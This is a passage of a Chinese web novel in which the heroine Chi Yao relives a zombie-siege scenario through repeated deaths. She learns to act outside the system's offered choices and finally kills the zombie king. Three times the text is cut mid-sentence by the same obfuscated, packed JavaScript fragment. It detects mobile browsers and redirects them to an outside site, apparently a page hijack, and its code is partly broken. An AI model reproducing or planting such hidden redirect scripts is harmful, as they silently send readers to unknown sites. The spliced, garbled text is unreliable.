接下来,她又在原地站定,过了一会儿,直挺挺地坐在了床上,再次不动了。 全程,池遥的意识和身体都是完全分开的,她能感觉到自己的身体完全不受控制,反而像是遵循某种设定好的程序般,机械地行动着。 究竟是怎么回事,发生了什么? 她究竟为什么会死?难道系统提供的四个选项并非简单的分支,而是包含了正确选项和必死选项? 可是,自己之前也做出了几次选择,为什么这次迎来了死亡,难不成之前都阴差阳错地蒙对了吗? 没过一会儿,身体再次站起来,开始一件件检查房间里的物品。 之后,又停在桌上的香薰前,重复了两次拿起香薰的动作。 身体机械地行动,大脑飞速思索。 很快,池遥就意识到,自己正在重复刚来到景点世界内时的所有行为。 果然,没过一会儿,身体就走到门口,伸手握住门把手。 与此同时,熟悉的文字再度浮现在眼前,然而,却没有了当时出现在眼前的问题,选项也只剩下了一个选项。 【A.沈观离房间】 正是自己上一次选择的选项。 她的身体打开门,朝着沈观离的房间直直走去。 146. 选择循环3 接下来经历的一切,似乎都和过去没有任何变化。 来到沈观离的房间,见到沈观离,与沈观离交谈。 去到韩厢月的房间,与韩厢月和沈观宴谈话。 发现伪装成佣人的丧尸。 之后的选项也全部按照她上一次的选择进行,这期间内,池遥一直没有夺回身体的控制权,只能感受到身体反复重复运作的疲惫感,尤其是在四层搜查时,她还使用了几次精神力,上一次使用精神力的疲惫感还未消散,这一次的疲惫感继续叠加。 直到她再度踏入沈家主遇害的房间,身后的几个佣人再度闯了进来。 “池小姐,这个时间点,您为什么会出现在家主的房间里?” 上一次,在这个节点,她选择了A选项,然后惨遭杀害。 【B.用证据证明自己并非凶手】 然而,这一次,眼前出现的却是B选项。 紧接着,身体终于解除了控制,池遥抬起头,盯着面前的佣人们。 “我有证据!” 与其空口无凭,还不如直接将证据呈到这些人面前,池遥推开守在门前的佣人,朝楼梯口走去。 “我来这里之前发现了一个鬼鬼祟祟的佣人,我现在就把他抓过来给你们看。” 那只丧尸想必还在沈家宅邸内部,只要能揪到对方,就能洗除身上的嫌疑。 佣人们跟在她身后,一同来到了走廊上。 “池小姐,您能保证是您口中的人杀害了老爷吗?” 身后的女佣问道。 听到她的声音,已经站在楼梯前,正要下楼的池遥转过一小半身子,朝对方点了点头。 “嗯,我能......” 话还没说完,池遥忽然浑身一僵,一只冰冷的手再度按在了她的肩膀上,狠狠一推。 身体不受控制地从楼梯上滚落。 【加载完成】 ...... 唉。 池遥在心中深深地长叹一口气。 又重开了。 身体再度不受控制地动起来,池遥在心中总结前两次死亡的经验。 第一次死亡还勉强可以说是自己的过失,可上一次,自己死于被人推下楼梯。 她是一个身体经过强化的能力者,就算被推下四层楼梯,就算伤到脑袋,也不可能重伤到致死的地步。 可是,身体滚下楼梯时所经历的剧痛,她仍旧记忆犹新。 因此,与其说这两次死亡是自己的选择所导致的,不如说更像是一种外力干预的结果。 就算她没有被人推下楼梯,也会在下楼梯之后发生种种意外死亡。 而且,这两次,她都注意到了,虽然她没有看到谋害她的凶手的模样,但是,从过于冰冷的温度来看,凶手无疑是一只丧尸。 【C.主动认罪】 这一次,身体被操纵着主动认罪后,池遥才获得了身体控制权。 她立刻被佣人们用绳子绑住,随后,为首的女佣从腰间拔出一支手木仓。 【加载完成】 ...... 这合理吗? 为什么沈家的佣人可以用枪?超纲了吧? 难道最终的D选项才是正确选项,其他三个都是必死的选项? 怀着这样的猜测,池遥迎来了最后一个选项。 【D.立刻逃跑】 结果,池遥在逃跑的路上再次死亡,再次回到了熟悉的客房内。 【加载完成】 怎么会这样呢? 曾经的猜想全部被推翻,池遥反复回忆自己这几次的行为。 首先,她能够确定,这四次死亡全部都是意外死亡,没有一次在自己意料之内,应该是景点世界,或者系统故意设定的死亡,也就是所谓的“剧情杀”。 那么,难道这四个选项全部都是必死项吗? 答案是肯定的,她已经一项一项地亲身经历过了。 那么,再次遇到这个问题时,她该如何抉择呢? 思维卡在原地,停滞不前。 此时,自己的身体已经来到沈观离的房间,与他沟通来到这个世界后所经历的一切,同样的对话池遥已经经历过四次,不过,这一次,听着沈观离的声音,池遥心中忽然想到了一件被自己忽略的事。 自己第一次经历这段谈话时,在想什么? 那个时候,她只经历了一次选择,还没有理解所谓的“选择”会带给自己什么,当时她想到了什么呢? ——除了系统弹出的四个选项,还有其他的可能性吗? 是的。 自己已经反反复复经历了多次选择,头脑已经形成了惯性,差点忘记了,没有任何一条规则明确规定,她必须要在系统给出的四个选项当中进行选择。 如果在问题浮现之时,自己想到的是与所给出的选项完全不同的其他选择呢? 这一次,在面对闯进房间的佣人们时,池遥眼前再度出现了完整的问题和选项。 【沈家佣人怀疑沈家家主的死亡与你有关,你该如何行动?】 【A.向佣人们坦白真相】 【B.用证据证明自己并非凶手】 【C.主动认罪】 【D.立刻逃跑】 之前的死亡经历已经证实了,所有选项都行不通,只能另辟蹊径,可是,究竟要怎么做呢? 池遥僵在原地,脑海中一片空白。 眼神飘飘忽忽,四处乱转。 突然,她看到了床上的尸体。 她刚进入房间,这些佣人就紧随其后闯了进来,她根本没有时间去检查尸体。 这具尸体一直面朝下趴在床上,而之前的循环中,池遥看到的一直是尸体的后脑勺,从来没有亲自确认过它的脸。 而闯进来的这些佣人自然也没有查证。 自己之所以确认这具尸体的身份,一方面是因为尸体的体型身材和服装材质,另一方面是因为佣人们闯入房间时,喊出的“老爷”二字。 可是,如果这具尸体并非沈家家主,而是与其身材相似的另一人呢? 那么,接下来,她要去检查尸体。 脑海中浮现出下一步明确的规划时,眼前的问题和选项全部消失了,身体恢复了自由,池遥立刻加快脚步,来到床前,一把将尸体翻转过来,顿时,尸体的脸暴露在所有人的面前。 一时间,无人出声。 尸体的身份没错,的确是沈家主本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042636|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,可是,直到池遥翻过他的尸体,才发现,尸体的皮肤表面浮现出一种青灰色的质地,温度冰冷。 不仅如此,尸体的脸血肉模糊,俨然一副丧尸的形状,任谁一看都能发现,此时的沈家主已经尸变了。 他是先被变成丧尸,然后才被杀害的。 这下,尸体的面容暴露在众人面前,池遥的嫌疑彻底解除。 “有丧尸潜入宅邸了。”池遥眉头紧蹙,看向一旁的女佣与她身后的佣人们,“快去通知其他人,让大家警戒起来。” 女佣的面容没有任何遮挡,之前与池遥的谈话也显得很正常,然而,她身后的佣人们却有好几个人都戴着口罩,遮挡住脸,看不出真实身份。 听到池遥的话,所有佣人纷纷离开,池遥想把那几位戴口罩的佣人留下,逐个排查,找出丧尸,但一想到自己被同一只丧尸反复害死了好几次,还心有余悸,就没开口。 接下来,池遥立刻联系了沈观离兄弟和韩厢月,四人再度聚齐。 经过刚刚几次循环,池遥不受控制地使用了好几次精神力,体力消耗得厉害,恐怕短期内无法再使用了。 普通丧尸没有智力,一定是丧尸王操控丧尸杀死沈家主的,因此,现在最重要的是,找到霍云初。 “我感应不到。”韩厢月摇了摇头。 “作为丧尸王,他时时刻刻操控着所有丧尸,因此,只要他靠近我所在的地方,我就会立刻受到他的影响。现在我没有受到他的影响,证明丧尸王还在很远的地方,可能在天山,也有可能在从天山到基地的路上,但总归离基地有相当一段距离。” 沈观离和沈观宴二人已经知道了父亲的死讯,但沈观离明确知道这里是景点世界,因此并不难过。而沈观宴则是因为意外频发,顾不上难过。 窗外的天色已经亮了,时间将近凌晨五点,池遥望着天空中未散尽的朝霞,失神片刻。 【下一步,你想去哪里?】 新的问题和选项见缝插针地跳了出来。 【A.留在沈宅】 【B.前往天山】 【C.前往医院】 【D.前往研究所】 经历了上一次的循环,池遥控制自己忽略选项中提到的几个地点,尽可能广泛地,全面地思考。 眼下,她最想知道的是霍云初所在的位置,尽管韩厢月明确说了霍云初不会出现在附近,可是池遥一定要亲自去看过才能安心。 天山距离太远,眼下自己不该长时间离开北方基地,因此,她下一个要去的地方是城墙上。 只有在北方基地正面城墙上,才能看清周围的情况。 池遥再次选择了选项中不存在的答案。 四人一路走上城墙,北方基地城墙外,一切似乎没有任何异常,聚集在基地外的流民也毫无危险意识地坐在基地入口前,一片祥和。 “池遥!” 然而,目睹这一切的韩厢月神色一紧,伸出手,死死揪住池遥的袖子,表情凝重。 “基地外已经没有人类了。” “我能感觉到,聚集在基地外的这些流民,全部都是丧尸伪装的,那边的小巷里藏满了丧尸。” “丧尸潮,已经兵临城下了。” 147. 选择循环4 “立刻把林北辰叫来。”注视着基地外的丧尸群,池遥侧过头交代身边的人,“让林北辰集结所有能力者,守住这里。” 林北辰和所有能力者赶到城墙上后,基地内部无人监守,反而容易陷入混乱。沈观离的能力除非与丧尸同归于尽,否则很难真正伤害到丧尸。因此,池遥侧头看向一旁的沈观离。 “你回基地,调查混进基地里的丧尸吧,我在这里和大家一起守城。” 此时不是逞强的时候,沈观离立刻明白了池遥的意思,转身离开。 很快,林北辰带着一众能力者赶到,池遥不清楚基地内总共有多少名能力者,放眼一望只觉得来了不少人,然而,一旁的沈观宴却沉下了脸。 “怎么只来了这些能力者?” “太早了,有很多人联系不上。”林北辰的脸色也不是很好看,他一边将不同能力者分配到城墙不同位置上,一边扭头朝城墙下的出入口附近看去。 意识到已经暴露,此时,城墙外的丧尸也不再伪装,倾巢而出,攻向基地入口处。 沈观宴手一动,数不清的爆炸声从丧尸群中响起,林北辰在他身边辅助,能力者们在强势的爆炸掩护下放出各自的能力。 而韩厢月则尽可能多地控制住挤在基地入口前的丧尸,让这群丧尸成为了一堵堵坚实的防护墙,挡住了后面不停向前挤的丧尸。 有沈观宴和韩厢月这两个人在,眼前的丧尸潮暂时不需要担心。 池遥在城墙上来回游走,给用枪的能力者递送补给,为受伤的能力者治愈伤口。 天色越来越亮,在城墙上把守的能力者们挺过了一个上午,有池遥在,基地的伤亡数量小于预期,只要能坚持到夜里,她就能顺利通过这个景点了。 午后,情况仍旧胶着,丧尸源源不断,怎么杀也杀不尽,可进攻的丧尸潮中不存在高等丧尸,基地还抵御得住。 一部分疲惫了一个上午的能力者被换下来,到后方进行补给,池遥也在这群人之中,她的能力消耗得很快,此时急需吃点东西,休息一会儿。 能力者们排队领了食物,席地而坐,抓紧时间休息,池遥快速吃掉食物,闭上眼睛逼迫自己小憩一会儿。 然而,她的神经却完全不肯放松,即使闭着眼,意识却仍旧清醒,她能听见身边的能力者们来来往往的脚步声。 脚步声过于嘈杂,她有些分辨不清,也无从分辨,只能尽可能忽视。 然而,这时,她却忽然敏锐地感觉到,有人靠近了自己。 不等她做出反应,一只冰冷的大手,陡然扼住了她的喉咙,狠狠用力一掐! 池遥的意识再度断线。 【加载完成】 太疼了,喉咙的痛苦还未散去,之前几次死亡时的剧痛也若隐若现。 池遥已经记不清这是第几次回到客房了,这间客房仿佛变成了她的存档点,供她在经历各种各样的死法后再度回到原点。 奇怪,休息时自己身边明明全是在城墙上并肩作战的能力者同伴,为什么杀死她的那双手,会是全然冰冷的体温? 池遥知道基地内混进来了大量丧尸,可她以为这些丧尸只会伪装成普通人。 难不成,丧尸王手下的丧尸甚至潜入到了能力者群体内部了吗? 心中一阵恐慌。 每一次回到客房后,池遥的身体都会自行行动,她已经习惯了趁此机会在脑海中总结复盘,可是,她却不知道这一次身体会停在哪个节点。 她已经找到了摆脱杀害沈家主嫌疑的办法,那么自己还会停在沈家主遇害的现场吗? 果然,这一次,池遥的身体没有停在沈家主遇害的房间,而是停在了楼梯上。 眼前出现了在走上四层之前,上一个问题的选项。 【B.去城墙上】 她的身体不受控制地出门,朝着城墙的方向走去。 池遥回想起前几次循环的经历,自己在沈家主房间内做出的选择,四个选项均为必死项,必须要自己拼命思考,做出选项中不存在的第五种选择才能找到生机。 然而,在此之前,她还做出过好几次选择,难道这些问题中未选择过的选项,她统统都要经历一遍吗? 那么,她到底还要经历多少次循环? 心一点一点冷了下来。 离城墙的方向近了,身体再度恢复自由,池遥走上城墙,顺便依次联系了沈观离,沈观宴,林北辰几人,她的安排与上一次相同,沈观离留在基地内调查丧尸的事,沈观宴和韩厢月赶来城墙上和她会和,而林北辰则召集所有能力者,全部聚集到城墙上抵御丧尸潮。 上一次情况紧急,池遥把大部分注意力都放在丧尸的攻势上,都没有仔细看过这群能力者,这一次,她要仔细检查一下这群能力者。 这一次,少了在沈家主房间经历的事,池遥到达城墙上时,天还没亮,沉沉的夜色中,接近基地的丧尸潮还没来得及掩藏,就立刻被池遥发现了。 很快,沈观宴和韩厢月就来到了城墙上,不多时,林北辰也带领着众多能力者到来,池遥这一次仔细地打量了每一个能力者,然而,这群能力者们几乎没人戴帽子口罩,每一个人都将脸露了出来,很明显,其中并没有丧尸。 奇怪,难道是她误判了? 这一次,池遥每路过一个能力者,都会主动输送一丝治愈能力,然而,走了一圈,却发现,这群能力者全部都是如假包换的人类,并不存在丧尸顶替。 到了中午,池遥这一次没有和能力者们一同下去补给,而是留在了城墙上。 心中的困惑越来越多,池遥回到沈观宴和韩厢月身旁,观察城墙下的丧尸情况。 突然,余光瞄到身旁的韩厢月,池遥忽然发现,韩厢月站在原地一动不动,已经持续好久了。 韩厢月凝聚精神控制丧尸时,的确会长时间维持同一个姿势,动也不动,可此时她身旁的韩厢月神色却并不像是专注的样子,他的眼神十分涣散,目光久久没有聚焦,让池遥想到了在前往天山的路上,一个接一个地被霍云初控制的高等丧尸同伴。 池遥立刻扭头,看向城墙之外。 远方的丧尸群不再向前挪动,似乎在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052832|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待什么。 遥远的天际线之下,有一大群丧尸簇拥着一个巨大的王座,正在缓缓朝基地的方向移动。 不会吧? 上一次循环的记忆中,丧尸王一直没有出现,池遥本能地依靠过去的经验,认为丧尸王不会出现,可是她却忽视了一点,此时已经是午后了,这之前的所有循环中,她都没有活到这个时间段。 果然,背景故事中不可能无缘无故地提到霍云初的名字,他定然是要在回忆中出现的。 可是,眼下她并没有在花城获得的冷冻道具,根本没有制服丧尸王的手段。 不仅如此,在前几次循环中,她使用了过多精神力,此时根本没有足够的体力支撑自己修补霍云初破损的意识,即便知道解决办法,也无法做到。 该怎么办? 视线再度回到身旁的韩厢月脸上。 “韩厢月?”怀着一丝希望,池遥轻声叫出了韩厢月的名字,双手挡在身前,一旦韩厢月被丧尸王完全控制,她会立刻抽空对方的生命力。 “哈啊......池遥......” 她这一声似乎勉强唤回了韩厢月的意识,韩厢月忽然剧烈地吸了一口气,浑身不停痉挛,控制不住地倒了下去。 池遥立刻扶住他的手臂。 上一次在天山,韩厢月也抵挡住了丧尸王的精神攻击,这一次说不定也可以,尽管眼前的韩厢月并非真实的同伴,只是记忆的幻影,池遥仍然不愿意动手杀死他。 “杀了我......趁我还没完全被他控制!” 然而,韩厢月却紧紧攥住池遥的手腕,声音不停地发抖。 “我要坚持不住了......动手吧......池遥......” 真的要动手吗? 然而,池遥却犹豫了。 对她而言,韩厢月是在这个世界陪伴她时间最久的人,她根本无法对他下手。 明知眼前的韩厢月不是真的,可是真的要动手的时候,池遥还是会被情感局限住,迟迟过不了自己心里这一关。 然而,她还无法动手,身旁的韩厢月却突然放开她的手腕,血红的双眼彻底失去了神志,直直朝她的方向扑了过来! 猝不及防,池遥连续后退了几步,挡住了韩厢月的攻击。 韩厢月身形消瘦,虽然身为高等丧尸,但攻击的力道却不算强悍,池遥勉强能够抵挡住。 可是,连续过了几招,池遥却发现了一个致命的问题,韩厢月的能力是读心,他每一次都能精准预判到池遥的下一步动作,池遥根本无法反击! 不行,这样下去,她完全招架不住! 心中的恐慌越扩越大,难不成,她真的要亲手收割掉朋友的性命吗? “噗嗤!” 利刃刺入体内的沉闷声音再度响起,一柄长刀从后背刺入,贯穿了池遥的胸口。 一瞬间,池遥看到了韩厢月血色的眼睛立刻恢复了正常,恐慌的目光与她对视。 下一秒,刺穿池遥的长刀继续贯入,韩厢月离她太近,同样被刀刃捅穿身体。 148. 选择循环5 【加载完成】 眼前是熟悉的客房。 继和韩厢月一起被捅了个对穿之后,池遥又经历了两次循环,这两次分别去到了基地出入口,和居民区内。 这两次循环,均以被丧尸王杀死惨烈收场。 将她和韩厢月一起捅穿的凶手池遥并未深究,在那种情况下,自己没有立即杀死失控的韩厢月,是她的过失,杀死她和韩厢月的人是在为基地动手,防止韩厢月杀死更多人。 只是代价实在太惨烈了,池遥也是第一次经历如此离奇,概率如此之小的死亡结局,心中大为震撼,实在没想到自己也会遭遇被串成羊肉串的宝贵体验。 这一次,身体再次停在楼梯上,眼前出现了熟悉的问题和选项。 【此刻,你意识到,已经有丧尸暗中潜入基地内部,接下来你想去哪里?】 【A.留在沈宅】 【B.去城墙上】 【C.去基地入口】 【D.去基地居民区】 按照上次的经验,给出的四个选项都是必死项,必须要做出与选项截然不同的决定才行。 可是,池遥在北方基地停留的世界很短暂,只去过几个地方,除了选项中提到的几处地点,她也毫无头绪。 不过,上一次循环中,池遥去到了基地居民区。 居民区的范围太大,池遥只去了曾经去过的医院附近。 在池遥的印象里,这所医院因为高昂的费用,一直空空荡荡,然而,这一次去到医院,明明是凌晨时间,远远看去,医院却灯火通明,人满为患。 反常极了。 饶是池遥很想再去医院打探一番,但医院属于居民区的范围,同样也在这四个选项之中。 医院究竟为什么会聚集那么多人,是出了什么事? 脑海中突然又出现了一栋建筑。 基地研究所。 北方基地的研究所建在另一侧的城郊,所用的水电资源与基地主城区分隔开,与居民区隔着很远的距离,她很少有机会去那里,唯一一次还是送每周去研究所报道的韩厢月过去的。 医院出的事会和研究所有关吗? 就算她的推测是错误的,眼下她还没找到对付丧尸王的办法,说不定能去研究所找到线索。 思路渐渐清晰。 她要去基地研究所。 眼前的问题与选项再度消失,池遥立刻联系沈观离,让他叫司机开车载自己去研究所看看。 即便在无人的街道上全速前进,也需要几十分钟的车程,才能到达研究所,池遥坐在车上将丧尸潮的事交代给沈观宴和韩厢月,切断联系后,看向身边的沈观离,池遥的本意只是想找个司机,没想到沈观离会和她一起上车。 明明沈观离才是与她一同进入景点的队友,然而,她在多次循环中疲于对付丧尸,一直没有找到机会与他谈一谈。 眼下,池遥很想将自己发现的选择和时间循环的规律告诉对方,然后,还未发出声音,身体却僵住了。 【系统提示:请勿与他人交流景点机制。】 系统的警告再度到来。 奇怪,在此之前,池遥与沈观离还聊过彼此做出的选择,那时系统并没有阻止,现在却禁止池遥聊与选项相关的话题。 难不成,是因为她对选项的推测中含有正确因素,因此系统才主动阻拦。 这反而让池遥心中渐渐有了底。 “你那边情况怎么样?”沈观离侧过头看她,眼神中的关切自然流露出来,“抱歉,我女朋友这个身份让你受委屈了,我之前也没想到......” 说到这里,他的声音突然顿住,仿佛有另一股力量硬生生阻断了他的话语,他的表情也僵住了,好半天,才轻轻叹了口气。 他的表现并不陌生,池遥猜想他大概也收到了系统的警告。 而且,自己想要讨论景点机制,被系统闭麦情有可原,而沈观离说的内容听起来似乎只是简单的寒暄,为什么同样被系统阻断了呢? 不仅如此,刚刚沈观离主动提起,池遥才惊觉,自己此时在北方基地并不止代表她自己,还顶着沈观离女朋友的身份,可是在自己进入景点之后经历的每一件事,遇到的每一个人,似乎都没有受到她这一重身份的影响。 女朋友的身份被系统交代在了故事背景里,定然有其存在的意义和价值,可池遥至今也没有体会到身为沈观离女朋友的优待。 当然,也没有体验到这件事的弊端。 可沈观离的视角却并不相同,他不知经历了什么,看着池遥的目光中有歉疚和自责。 这之后,池遥和沈观离也试图交流,然而,系统却一直从中作梗,池遥陆陆续续发现了不少被禁止的话题,沈观离也频频被闭麦,最后两人长叹一口气,一同苦笑了一下,不说话了。 很快,车子到达研究所附近,基地研究所在一个园区内,二人走下车,打开园区紧锁的大铁门,朝研究所大楼的方向走去。 “咦?” 池遥听到了沈观离带着几分困惑的声音。 顺着沈观离的目光看去,她发现沈观离正在观察大铁门旁的保安亭,和保安亭后的居民楼。 由于研究所的研究需要保密,研究所的位置又距离居民区有一段距离,因此,研究所的研究员平时几乎不会离开园区内,保安岗亭内时刻都有保安把守,研究员们下了班会直接在附近的居民楼内休息。 研究所所在园区有独立的资源供给,就连周边的居民楼都有完整的水电供给。 然而,放眼望去,数排居民楼,竟然没有一户亮了灯。 不仅如此,眼前的保安亭内也空无一人。 即便此时是凌晨五点,大部分人仍在睡眠中,但总该有一两个醒着的人吧?而且,保安岗亭二十四小时都需要有人看守,为什么偏偏现在无人? 走近岗亭,透过玻璃朝里看去,却看到,岗亭的凳子上搭着一件上衣,地上还有一条裤子,一双鞋子呈八字形摆在凳子正前方的地面上。 场面有些怪异。 “我们先去研究所吧。” 池遥看向身边的沈观离,跟着他一同向园区深处走去。 然而,来到研究所大楼前,两人却一同愣住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056135|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 研究所大楼只有一层有窗户,然而,从外部看去,整个一楼一片漆黑,往日敞开的大门此时也紧紧锁住。 “我去敲门看看?”沈观离问她。 池遥摇摇头,不知为何,此处园区总给她一种不寻常的怪异感受,她努力摇摇头,环视了一圈。 他们所在的园区距离一段城墙很近,如果登上城墙,从上方俯视园区内,说不定能更直观地看到园区的整体情况。 两人一同走上城墙,这段城墙距离基地出入口很远,无人把守。 沈观离从上方俯视着园区内,令他感到奇异的是,整个园区内竟然没有一点亮光。 首都研究所在末日前就是极为重要的机构,容纳了上千名研究人员,就算处于末日,此时也有几百名留在这里工作的研究员,然而,整座园区却无比安静,仿佛一座无人的废墟, 研究员们都去哪儿了? 他越想,心中越惶恐,忽然听到了身后的池遥倒吸一口凉气。 “沈观离!” 她用极度惊恐的声音喊出了他的名字。 沈观离转身,看到池遥背对着他,目光紧盯着基地外,远处的空地。 逐渐亮起的晨光慢慢映出了远处逐渐接近的影子。 一只,一群,无数只变异兽正朝着基地的方向奔腾而来。 北方基地正面,能力者们正集结,艰难应付着丧尸潮与丧尸王的侵袭。 而基地背面的池遥和沈观离眼睁睁地看着,成千上万只变异兽正在接近基地。 兽潮要来了! 【终于,你发现基地背面即将迎来兽潮的进攻,你打算怎么做?】 【A.联系沈观宴】 【B.联系韩厢月】 【C.联系林北辰】 【D.独自解决】 池遥盯着眼前的众多选项,一时间,僵在原地。 被列出的选项统统无法选择,也没办法靠自己独立解决,一时间,她大脑一片空白,想不出其他办法。 “交给我吧。” 突然,耳边响起了沈观离的声音。 随着沈观离开口,眼前的问题与选项自动消失,池遥知道,自己潜意识中已经认可了沈观离的话,而这正好是选项中没有给出的选择,她阴差阳错再次破除了一个问题。 可是,交给沈观离,与让他送死无异。 池遥抬起头,看向对面的人。 “我会尽我所能,拖住这群变异兽,你回去和他们对抗丧尸潮,尽快解决那边的麻烦,再过来支援我。” 沈观离勾起嘴角,牵强地冲她笑了一下。 他挡不住的。 心中明知沈观离只是在安慰她,可池遥已经在心中做出了选择,无法忤逆自己的决定,只能转身离开。 回程的车子在池遥的催促下加到了最快速度,风驰电掣地在基地城区内穿行。 “嘭——” 刹车失灵,车子一头撞进路边建筑内,池遥再度失去了意识。 失去意识之前,池遥心中被悔意填满。 她没机会回来支援沈观离了。 149. 选择循环6 【加载完成】 除却没有解决的丧尸潮危机,又增加了新的兽潮危机,池遥头都大了。 两件事总有个轻重缓急,池遥暂且将注意力放在了丧尸王身上,毕竟他们曾经有对付丧尸王的经验。因此,下一次循环,池遥第一时间联系了沈观宴,让容易被丧尸王影响的韩厢月留在基地内排查潜入基地的丧尸,林北辰带能力者对抗丧尸潮。 而她则与沈观宴共同出击,主动对丧尸王发动了攻击。 不出意料地迎来惨败,再次被丧尸王杀死。 还有其他办法吗? 这一次,池遥彻底没办法了。 到了午后,她和并肩作战的沈观宴再度看到了熟悉的身影。 看到亲手杀了自己多次的丧尸王,池遥本能地感到畏惧,浑身不由地开始发抖,沈观宴显然注意到了她的怯意,拍了拍她的肩膀。 怎么办? 要怎么才能战胜丧尸王? 被丧尸王杀死太多次,池遥现在已经彻底抛弃底线,霍云初无疑是她宝贵的朋友,可失控变成丧尸王的霍云初就是她的死敌,更何况与自己对峙的丧尸王并不是现实中真正的霍云初,她毫无心理负担。 池遥已经做好了杀死对方的觉悟,可她根本无法靠近丧尸王,更别提触碰到他了。 该怎么做,才能杀死丧尸王? 以往每一次,为了防止丧尸王出手,池遥总会在发现丧尸王的第一时间立即对对方出手,随后光速死亡,这一次,她却谨慎起来,只紧盯着丧尸王的一举一动,没有发动攻击。 如果只是简简单单地发起进攻,自己只会重复被丧尸王杀死的结局,必须想出其他破局的办法才行! 她咬紧嘴唇,拼命思考。 城墙之上,数名能力者们发动能力,还有林北辰组织和命令能力者的声音,十分嘈杂。 然而,隐隐地,池遥却听到了熟悉的声音,正在呼唤她的名字。 “池遥——” 她环视一周,却没有发现任何呼唤她的人。 奇怪,难道自己幻听了? “池遥!” “池遥!往上看!” 池遥猛地抬起头。 澄澈的天空中,划过一个小小的影子。 那是一只拥有纯白羽翼的飞鸟,个头不大,正朝着池遥的方向飞来。 而它的爪子上,抓着一条熠熠发光的宝石吊坠链条。 正是池遥心心念念的冷冻道具。 “苏榕!” 池遥惊喜地瞪大了眼。 进入景点内部后,她一直没有发现苏榕的身影,苏榕也没有主动来找她,她也疑心过苏榕或许有其他目标,或者想要独自通过景点,却没想到苏榕竟然去到了花城,将冷冻道具带了过来。 的确,当时与池遥一起去花城的沈观宴和苏榕二人中,只有苏榕全程与她待在一起,知道冷冻道具的具体位置。 很快,苏榕飞到池遥面前,变回人形,轻巧落地。 “这是我从花城带回来的冷冻道具,你们很需要吧?”他看向远处的丧尸王,“我本来早上就到基地附近了,但城墙下的出入口被丧尸潮堵住了,没办法进入基地,我绕着城墙找了一圈,没办法,只好变成飞鸟飞进来。” 听到这话,池遥立刻问他。 “你是几点到的基地入口?” “大概早上九点钟吧。” 早上九点的时候,丧尸王还没有出现。 池遥点了点头,想到另一件事。 “苏榕,你能同时对付很多变异兽吗?” 苏榕可以变成其他任意一种生物,或许有办法应对兽潮。 “可以。”苏榕不假思索地点头,神色很轻松。 “基地背面正有一大群变异兽入侵,沈观离一个人在那边,你可以赶过去吗?” “他一个人对付变异兽?”苏榕想到沈观离的能力,微微蹙起眉,“我去把他换下来,对付变异兽我一个人就够了。” 说完,苏榕立刻就要离开,身体突然一顿,回头看向池遥。 “怎么了?” 不知为何,苏榕的目光很复杂,格外郑重地上下打量了池遥一番,才再次开口。 “池遥,你要答应我一件事。” 他露出了池遥从未见过的神色。 “我一个人足以对付所有变异兽,你就在这里率领能力者抵挡丧尸,不要顾及我,也不要朝我的方向看。” 池遥觉得他的话有些奇怪,却还是答应了下来。 很快,苏榕离开,池遥拿着冷冻道具,找到了沈观宴。 有了冷冻道具,她可以和沈观宴再尝试一次。 这次,一定能杀死丧尸王。 沈观宴率先跳下城墙,直接进入丧尸群中,与此同时,林北辰指挥几位大范围攻击能力者施加能力,掩护沈观宴前进。 而池遥紧随其后跳了下去,一手拿刀,精准的砍掉身边丧尸的脑袋,另一手将冷冻道具的链子盘在手腕上,抓紧了宝石吊坠。 很快,在所有人的帮助下,他们顺利来到了丧尸王面前,沈观宴帮她引开了前方的丧尸,开辟出一条路径。 这一次,池遥动作迅速地施展能力,冻结了丧尸王所在领域内的所有丧尸,范围冷冻的能力无法困住丧尸王,它很快就会摆脱控制,但池遥所需要的也只是一瞬间的时间。 趁着丧尸王被冻结的瞬间,她立刻伸出手,毫不犹豫地抽空了丧尸王的生命。 动作迅速而果断,毫不拖泥带水。 “池遥!” 身后,沈观宴的声音传来,他长臂一揽,带着池遥迅速后撤,借助着能力者制造的龙卷风回到了城墙之上。 丧尸王一死,施加在所有丧尸身上的控制彻底消失,基地内的丧尸终于现出原形,而基地外的丧尸们失去了丧尸王的控制,攻势更加凶猛,但也更没有章法,反而容易对付。 池遥游走在城墙各处,帮忙治疗伤员,突然间,听到了一个格外恐怖,威压感极强的吼声。 “吼!” 声音来自于背后的另一侧城墙,脚下的城墙仿佛都随着这一声吼声震了震,有不少能力者因此分神,朝背后望去。 头顶的天际线蔓延到远处,被一个黑压压的影子牢牢遮蔽住,那恐怕是所有能力者平生所见最为巨大的生物,只一个遮天蔽日的背影就令人胆寒。 是从未见过,也不该在这个世界见到的恐怖怪物。 